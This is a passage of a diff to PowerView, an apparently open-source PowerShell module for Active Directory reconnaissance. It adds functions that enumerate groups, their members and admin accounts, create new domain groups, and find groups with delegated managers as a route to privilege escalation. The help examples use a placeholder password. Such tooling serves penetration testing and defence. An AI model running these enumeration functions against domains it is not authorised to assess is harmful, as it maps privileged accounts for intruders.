+ Write-Verbose "[Get-DomainGroup] Extracted domain '$GroupDomain' from '$IdentityInstance'"
+ $GroupSearcher = Get-DomainSearcher @SearcherArguments
+ }
+ }
+ else {
+ $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))"
+ }
}
- else {
- $GroupSearcher.filter = "(&(objectCategory=group)(samaccountname=$GroupName)$Filter)"
+
+ if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
+ $Filter += "(|$IdentityFilter)"
+ }
+
+ if ($PSBoundParameters['AdminCount']) {
+ Write-Verbose '[Get-DomainGroup] Searching for adminCount=1'
+ $Filter += '(admincount=1)'
}
+ if ($PSBoundParameters['LDAPFilter']) {
+ Write-Verbose "[Get-DomainGroup] Using additional LDAP filter: $LDAPFilter"
+ $Filter += "$LDAPFilter"
+ }
+
+ $GroupSearcher.filter = "(&(objectCategory=group)$Filter)"
+ Write-Verbose "[Get-DomainGroup] filter string: $($GroupSearcher.filter)"
- $Results = $GroupSearcher.FindAll()
+ if ($PSBoundParameters['FindOne']) { $Results = $GroupSearcher.FindOne() }
+ else { $Results = $GroupSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
- # if we're returning full data objects
- if ($FullData) {
- # convert/process the LDAP fields for each result
- $Group = Convert-LDAPProperty -Properties $_.Properties
- $Group.PSObject.TypeNames.Add('PowerView.Group')
- $Group
+ if ($PSBoundParameters['Raw']) {
+ # return raw result objects
+ $Group = $_
}
else {
- # otherwise we're just returning the group name
- $_.properties.samaccountname
+ $Group = Convert-LDAPProperty -Properties $_.Properties
+ }
+ $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group')
+ $Group
+ }
+ if ($Results) {
+ try { $Results.dispose() }
+ catch {
+ Write-Verbose "[Get-DomainGroup] Error disposing of the Results object"
}
}
- $Results.dispose()
$GroupSearcher.dispose()
}
}
@@ -5255,208 +8716,731 @@ function Get-NetGroup {
}
-function Get-NetGroupMember {
+function New-DomainGroup {
<#
- .SYNOPSIS
-
- This function users [ADSI] and LDAP to query the current AD context
- or trusted domain for users in a specified group. If no GroupName is
- specified, it defaults to querying the "Domain Admins" group.
- This is a replacement for "net group 'name' /domain"
+.SYNOPSIS
- .PARAMETER GroupName
+Creates a new domain group (assuming appropriate permissions) and returns the group object.
- The group name to query for users.
+TODO: implement all properties that New-ADGroup implements (https://technet.microsoft.com/en-us/library/ee617253.aspx).
- .PARAMETER SID
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-PrincipalContext
- The Group SID to query for users. If not given, it defaults to 512 "Domain Admins"
+.DESCRIPTION
- .PARAMETER Filter
+First binds to the specified domain context using Get-PrincipalContext.
+The bound domain context is then used to create a new
+DirectoryServices.AccountManagement.GroupPrincipal with the specified
+group properties.
- A customized ldap filter string to use, e.g. "(description=*admin*)"
+.PARAMETER SamAccountName
- .PARAMETER Domain
+Specifies the Security Account Manager (SAM) account name of the group to create.
+Maximum of 256 characters. Mandatory.
- The domain to query for group users, defaults to the current domain.
+.PARAMETER Name
- .PARAMETER DomainController
+Specifies the name of the group to create. If not provided, defaults to SamAccountName.
- Domain controller to reflect LDAP queries through.
+.PARAMETER DisplayName
- .PARAMETER ADSpath
+Specifies the display name of the group to create. If not provided, defaults to SamAccountName.
- The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+.PARAMETER Description
- .PARAMETER FullData
+Specifies the description of the group to create.
- Switch. Returns full data objects instead of just group/users.
+.PARAMETER Domain
- .PARAMETER Recurse
+Specifies the domain to use to search for user/group principals, defaults to the current domain.
- Switch. If the group member is a group, recursively try to query its members as well.
+.PARAMETER Credential
- .PARAMETER UseMatchingRule
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query when -Recurse is specified.
- Much faster than manual recursion, but doesn't reveal cross-domain groups.
+.EXAMPLE
- .PARAMETER PageSize
+New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.'
- The PageSize to set for the LDAP searcher object.
+Creates the 'TestGroup' group with the specified description.
- .PARAMETER Credential
+.EXAMPLE
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' -Credential $Cred
- .EXAMPLE
+Creates the 'TestGroup' group with the specified description using the specified alternate credentials.
- PS C:\> Get-NetGroupMember
-
- Returns the usernames that of members of the "Domain Admins" domain group.
+.OUTPUTS
- .EXAMPLE
-
- PS C:\> Get-NetGroupMember -Domain testing -GroupName "Power Users"
-
- Returns the usernames that of members of the "Power Users" group in the 'testing' domain.
+DirectoryServices.AccountManagement.GroupPrincipal
+#>
- .LINK
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('DirectoryServices.AccountManagement.GroupPrincipal')]
+ Param(
+ [Parameter(Mandatory = $True)]
+ [ValidateLength(0, 256)]
+ [String]
+ $SamAccountName,
- http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/
-#>
+ [ValidateNotNullOrEmpty()]
+ [String]
+ $Name,
- [CmdletBinding()]
- param(
- [Parameter(ValueFromPipeline=$True)]
+ [ValidateNotNullOrEmpty()]
[String]
- $GroupName,
+ $DisplayName,
+ [ValidateNotNullOrEmpty()]
[String]
- $SID,
+ $Description,
+ [ValidateNotNullOrEmpty()]
[String]
$Domain,
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
+ )
+
+ $ContextArguments = @{
+ 'Identity' = $SamAccountName
+ }
+ if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
+ $Context = Get-PrincipalContext @ContextArguments
+
+ if ($Context) {
+ $Group = New-Object -TypeName System.DirectoryServices.AccountManagement.GroupPrincipal -ArgumentList ($Context.Context)
+
+ # set all the appropriate group parameters
+ $Group.SamAccountName = $Context.Identity
+
+ if ($PSBoundParameters['Name']) {
+ $Group.Name = $Name
+ }
+ else {
+ $Group.Name = $Context.Identity
+ }
+ if ($PSBoundParameters['DisplayName']) {
+ $Group.DisplayName = $DisplayName
+ }
+ else {
+ $Group.DisplayName = $Context.Identity
+ }
+
+ if ($PSBoundParameters['Description']) {
+ $Group.Description = $Description
+ }
+
+ Write-Verbose "[New-DomainGroup] Attempting to create group '$SamAccountName'"
+ try {
+ $Null = $Group.Save()
+ Write-Verbose "[New-DomainGroup] Group '$SamAccountName' successfully created"
+ $Group
+ }
+ catch {
+ Write-Warning "[New-DomainGroup] Error creating group '$SamAccountName' : $_"
+ }
+ }
+}
+
+
+function Get-DomainManagedSecurityGroup {
+<#
+.SYNOPSIS
+
+Returns all security groups in the current (or target) domain that have a manager set.
+
+Author: Stuart Morgan (@ukstufus) <stuart.morgan@mwrinfosecurity.com>, Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainObject, Get-DomainGroup, Get-DomainObjectAcl
+
+.DESCRIPTION
+
+Authority to manipulate the group membership of AD security groups and distribution groups
+can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically
+used to delegate management authority to distribution groups, but Windows supports security groups
+being managed in the same way.
+
+This function searches for AD groups which have a group manager set, and determines whether that
+user can manipulate group membership. This could be a useful method of horizontal privilege
+escalation, especially if the manager can manipulate the membership of a privileged group.
+
+.PARAMETER Domain
+
+Specifies the domain to use for the query, defaults to the current domain.
+
+.PARAMETER SearchBase
+
+The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
+
+.PARAMETER Server
+
+Specifies an Active Directory server (domain controller) to bind to.
+
+.PARAMETER SearchScope
+
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
+
+.PARAMETER ResultPageSize
+
+Specifies the PageSize to set for the LDAP searcher object.
+
+.PARAMETER ServerTimeLimit
+
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
+
+.PARAMETER Tombstone
+
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
+
+.PARAMETER Credential
+
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
+
+.EXAMPLE
+
+Get-DomainManagedSecurityGroup | Export-PowerViewCSV -NoTypeInformation group-managers.csv
+
+Store a list of all security groups with managers in group-managers.csv
+
+.OUTPUTS
+
+PowerView.ManagedSecurityGroup
+
+A custom PSObject describing the managed security group.
+#>
+
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.ManagedSecurityGroup')]
+ [CmdletBinding()]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('Name')]
+ [ValidateNotNullOrEmpty()]
[String]
- $DomainController,
+ $Domain,
+ [ValidateNotNullOrEmpty()]
+ [Alias('ADSPath')]
[String]
- $ADSpath,
+ $SearchBase,
- [Switch]
- $FullData,
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
+ [String]
+ $Server,
- [Switch]
- $Recurse,
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
+ [String]
+ $SearchScope = 'Subtree',
- [Switch]
- $UseMatchingRule,
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ResultPageSize = 200,
- [ValidateRange(1,10000)]
+ [ValidateRange(1, 10000)]
[Int]
- $PageSize = 200,
+ $ServerTimeLimit,
+
+ [Switch]
+ $Tombstone,
[Management.Automation.PSCredential]
- $Credential
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- begin {
- if($DomainController) {
- $TargetDomainController = $DomainController
- }
- else {
- $TargetDomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name
- }
+ BEGIN {
+ $SearcherArguments = @{
+ 'LDAPFilter' = '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))'
+ 'Properties' = 'distinguishedName,managedBy,samaccounttype,samaccountname'
+ }
+ if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
+ if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
+ if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
+ }
- if($Domain) {
+ PROCESS {
+ if ($PSBoundParameters['Domain']) {
+ $SearcherArguments['Domain'] = $Domain
$TargetDomain = $Domain
}
else {
- $TargetDomain = Get-NetDomain -Credential $Credential | Select-Object -ExpandProperty name
+ $TargetDomain = $Env:USERDNSDOMAIN
+ }
+
+ # go through the list of security groups on the domain and identify those who have a manager
+ Get-DomainGroup @SearcherArguments | ForEach-Object {
+ $SearcherArguments['Properties'] = 'distinguishedname,name,samaccounttype,samaccountname,objectsid'
+ $SearcherArguments['Identity'] = $_.managedBy
+ $Null = $SearcherArguments.Remove('LDAPFilter')
+
+ # $SearcherArguments
+ # retrieve the object that the managedBy DN refers to
+ $GroupManager = Get-DomainObject @SearcherArguments
+ # Write-Host "GroupManager: $GroupManager"
+ $ManagedGroup = New-Object PSObject
+ $ManagedGroup | Add-Member Noteproperty 'GroupName' $_.samaccountname
+ $ManagedGroup | Add-Member Noteproperty 'GroupDistinguishedName' $_.distinguishedname
+ $ManagedGroup | Add-Member Noteproperty 'ManagerName' $GroupManager.samaccountname
+ $ManagedGroup | Add-Member Noteproperty 'ManagerDistinguishedName' $GroupManager.distinguishedName
+
+ # determine whether the manager is a user or a group
+ if ($GroupManager.samaccounttype -eq 0x10000000) {
+ $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'Group'
+ }
+ elseif ($GroupManager.samaccounttype -eq 0x30000000) {
+ $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'User'
+ }
+
+ $ACLArguments = @{
+ 'Identity' = $_.distinguishedname
+ 'RightsFilter' = 'WriteMembers'
+ }
+ if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential }
+
+ # # TODO: correct!
+ # # find the ACLs that relate to the ability to write to the group
+ # $xacl = Get-DomainObjectAcl @ACLArguments -Verbose
+ # # $ACLArguments
+ # # double-check that the manager
+ # if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AceType -eq 'AccessAllowed' -and ($xacl.ObjectSid -eq $GroupManager.objectsid)) {
+ # $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $True
+ # }
+ # else {
+ # $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $False
+ # }
+
+ $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' 'UNKNOWN'
+
+ $ManagedGroup.PSObject.TypeNames.Insert(0, 'PowerView.ManagedSecurityGroup')
+ $ManagedGroup
}
+ }
+}
+
+
+function Get-DomainGroupMember {
+<#
+.SYNOPSIS
+
+Return the members of a specific domain group.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainSearcher, Get-DomainGroup, Get-DomainGroupMember, Convert-ADName, Get-DomainObject, ConvertFrom-SID
+
+.DESCRIPTION
+
+Builds a directory searcher object using Get-DomainSearcher, builds a custom
+LDAP filter based on targeting/filter parameters, and searches for the specified
+group matching the criteria. Each result is then rebound and the full user
+or group object is returned.
+
+.PARAMETER Identity
+
+A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
+SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
+specifying the group to query for. Wildcards accepted.
+
+.PARAMETER Domain
+
+Specifies the domain to use for the query, defaults to the current domain.
+
+.PARAMETER Recurse
+
+Switch. If the group member is a group, recursively try to query its members as well.
+
+.PARAMETER RecurseUsingMatchingRule
+
+Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query to recurse.
+Much faster than manual recursion, but doesn't reveal cross-domain groups,
+and only returns user accounts (no nested group objects themselves).
+
+.PARAMETER LDAPFilter
+
+Specifies an LDAP query string that is used to filter Active Directory objects.
+
+.PARAMETER SearchBase
+
+The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
+
+.PARAMETER Server
+
+Specifies an Active Directory server (domain controller) to bind to.
+
+.PARAMETER SearchScope
+
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
+
+.PARAMETER ResultPageSize
+
+Specifies the PageSize to set for the LDAP searcher object.
+
+.PARAMETER ServerTimeLimit
+
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
+
+.PARAMETER SecurityMasks
+
+Specifies an option for examining security information of a directory object.
+One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
+
+.PARAMETER Tombstone
+
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
+
+.PARAMETER Credential
+
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
+
+.EXAMPLE
+
+Get-DomainGroupMember "Desktop Admins"
+
+GroupDomain : testlab.local
+GroupName : Desktop Admins
+GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
+MemberDomain : testlab.local
+MemberName : Testing Group
+MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local
+MemberObjectClass : group
+MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129
+
+GroupDomain : testlab.local
+GroupName : Desktop Admins
+GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
+MemberDomain : testlab.local
+MemberName : arobbins.a
+MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
+MemberObjectClass : user
+MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112
+
+.EXAMPLE
+
+'Desktop Admins' | Get-DomainGroupMember -Recurse
+
+GroupDomain : testlab.local
+GroupName : Desktop Admins
+GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
+MemberDomain : testlab.local
+MemberName : Testing Group
+MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local
+MemberObjectClass : group
+MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129
+
+GroupDomain : testlab.local
+GroupName : Testing Group
+GroupDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local
+MemberDomain : testlab.local
+MemberName : harmj0y
+MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local
+MemberObjectClass : user
+MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108
+
+GroupDomain : testlab.local
+GroupName : Desktop Admins
+GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
+MemberDomain : testlab.local
+MemberName : arobbins.a
+MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
+MemberObjectClass : user
+MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112
+
+.EXAMPLE
+
+Get-DomainGroupMember -Domain testlab.local -Identity 'Desktop Admins' -RecurseUingMatchingRule
+
+GroupDomain : testlab.local
+GroupName : Desktop Admins
+GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
+MemberDomain : testlab.local
+MemberName : harmj0y
+MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local
+MemberObjectClass : user
+MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108
+
+GroupDomain : testlab.local
+GroupName : Desktop Admins
+GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
+MemberDomain : testlab.local
+MemberName : arobbins.a
+MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
+MemberObjectClass : user
+MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112
+
+.EXAMPLE
+
+Get-DomainGroup *admin* -Properties samaccountname | Get-DomainGroupMember
+
+.EXAMPLE
+
+'CN=Enterprise Admins,CN=Users,DC=testlab,DC=local', 'Domain Admins' | Get-DomainGroupMember
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-DomainGroupMember -Credential $Cred -Identity 'Domain Admins'
+
+.EXAMPLE
+
+Get-Domain | Select-Object -Expand name
+testlab.local
+
+'dev\domain admins' | Get-DomainGroupMember -Verbose
+VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
+VERBOSE: [Get-DomainGroupMember] Extracted domain 'dev.testlab.local' from 'dev\domain admins'
+VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
+VERBOSE: [Get-DomainGroupMember] Get-DomainGroupMember filter string: (&(objectCategory=group)(|(samAccountName=domain admins)))
+VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
+VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=user1,CN=Users,DC=dev,DC=testlab,DC=local)))
+
+GroupDomain : dev.testlab.local
+GroupName : Domain Admins
+GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
+MemberDomain : dev.testlab.local
+MemberName : user1
+MemberDistinguishedName : CN=user1,CN=Users,DC=dev,DC=testlab,DC=local
+MemberObjectClass : user
+MemberSID : S-1-5-21-339048670-1233568108-4141518690-201108
+
+VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
+VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local)))
+GroupDomain : dev.testlab.local
+GroupName : Domain Admins
+GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
+MemberDomain : dev.testlab.local
+MemberName : Administrator
+MemberDistinguishedName : CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local
+MemberObjectClass : user
+MemberSID : S-1-5-21-339048670-1233568108-4141518690-500
+
+.OUTPUTS
+
+PowerView.GroupMember
+
+Custom PSObject with translated group member property fields.
+
+.LINK
+
+http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/
+#>
+
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
+ [OutputType('PowerView.GroupMember')]
+ [CmdletBinding(DefaultParameterSetName = 'None')]
+ Param(
+ [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
+ [String[]]
+ $Identity,
+
+ [ValidateNotNullOrEmpty()]
+ [String]
+ $Domain,
+
+ [Parameter(ParameterSetName = 'ManualRecurse')]
+ [Switch]
+ $Recurse,
+
+ [Parameter(ParameterSetName = 'RecurseUsingMatchingRule')]
+ [Switch]
+ $RecurseUsingMatchingRule,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('Filter')]
+ [String]
+ $LDAPFilter,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('ADSPath')]
+ [String]
+ $SearchBase,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
+ [String]
+ $Server,
- # so this isn't repeated if users are passed on the pipeline
- $GroupSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
+ [String]
+ $SearchScope = 'Subtree',
+
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ResultPageSize = 200,
+
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ServerTimeLimit,
+
+ [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
+ [String]
+ $SecurityMasks,
+
+ [Switch]
+ $Tombstone,
+
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
+ )
+
+ BEGIN {
+ $SearcherArguments = @{
+ 'Properties' = 'member,samaccountname,distinguishedname'
+ }
+ if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
+ if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
+ if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
+
+ $ADNameArguments = @{}
+ if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
+ if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }
}
- process {
+ PROCESS {
+ $GroupSearcher = Get-DomainSearcher @SearcherArguments
if ($GroupSearcher) {
- if ($Recurse -and $UseMatchingRule) {
- # resolve the group to a distinguishedname
- if ($GroupName) {
- $Group = Get-NetGroup -AllTypes -GroupName $GroupName -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize
- }
- elseif ($SID) {
- $Group = Get-NetGroup -AllTypes -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize
- }
- else {
- # default to domain admins
- $SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512"
- $Group = Get-NetGroup -AllTypes -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize
- }
- $GroupDN = $Group.distinguishedname
- $GroupFoundName = $Group.samaccountname
-
- if ($GroupDN) {
- $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupDN)$Filter)"
- $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName','samaccounttype','lastlogon','lastlogontimestamp','dscorepropagationdata','objectsid','whencreated','badpasswordtime','accountexpires','iscriticalsystemobject','name','usnchanged','objectcategory','description','codepage','instancetype','countrycode','distinguishedname','cn','admincount','logonhours','objectclass','logoncount','usncreated','useraccountcontrol','objectguid','primarygroupid','lastlogoff','samaccountname','badpwdcount','whenchanged','memberof','pwdlastset','adspath'))
+ if ($PSBoundParameters['RecurseUsingMatchingRule']) {
+ $SearcherArguments['Identity'] = $Identity
+ $SearcherArguments['Raw'] = $True
+ $Group = Get-DomainGroup @SearcherArguments
- $Members = $GroupSearcher.FindAll()
- $GroupFoundName = $GroupName
+ if (-not $Group) {
+ Write-Warning "[Get-DomainGroupMember] Error searching for group with identity: $Identity"
}
else {
- Write-Error "Unable to find Group"
+ $GroupFoundName = $Group.properties.item('samaccountname')[0]
+ $GroupFoundDN = $Group.properties.item('distinguishedname')[0]
+
+ if ($PSBoundParameters['Domain']) {
+ $GroupFoundDomain = $Domain
+ }
+ else {
+ # if a domain isn't passed, try to extract it from the found group distinguished name
+ if ($GroupFoundDN) {
+ $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
+ }
+ }
+ Write-Verbose "[Get-DomainGroupMember] Using LDAP matching rule to recurse on '$GroupFoundDN', only user accounts will be returned."
+ $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupFoundDN))"
+ $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName'))
+ $Members = $GroupSearcher.FindAll() | ForEach-Object {$_.Properties.distinguishedname[0]}
}
+ $Null = $SearcherArguments.Remove('Raw')
}
else {
- if ($GroupName) {
- $GroupSearcher.filter = "(&(objectCategory=group)(samaccountname=$GroupName)$Filter)"
+ $IdentityFilter = ''
+ $Filter = ''
+ $Identity | Where-Object {$_} | ForEach-Object {
+ $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
+ if ($IdentityInstance -match '^S-1-') {
+ $IdentityFilter += "(objectsid=$IdentityInstance)"
+ }
+ elseif ($IdentityInstance -match '^CN=') {
+ $IdentityFilter += "(distinguishedname=$IdentityInstance)"
+ }
+ elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
+ $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
+ $IdentityFilter += "(objectguid=$GuidByteString)"
+ }
+ elseif ($IdentityInstance.Contains('\')) {
+ $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
+ if ($ConvertedIdentityInstance) {
+ $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
+ $GroupName = $IdentityInstance.Split('\')[1]
+ $IdentityFilter += "(samAccountName=$GroupName)"
+ $SearcherArguments['Domain'] = $GroupDomain
+ Write-Verbose "[Get-DomainGroupMember] Extracted domain '$GroupDomain' from '$IdentityInstance'"
+ $GroupSearcher = Get-DomainSearcher @SearcherArguments
+ }
+ }
+ else {
+ $IdentityFilter += "(samAccountName=$IdentityInstance)"
+ }
}
- elseif ($SID) {
- $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
+
+ if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
+ $Filter += "(|$IdentityFilter)"
}
- else {
- # default to domain admins
- $SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512"
- $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
+
+ if ($PSBoundParameters['LDAPFilter']) {
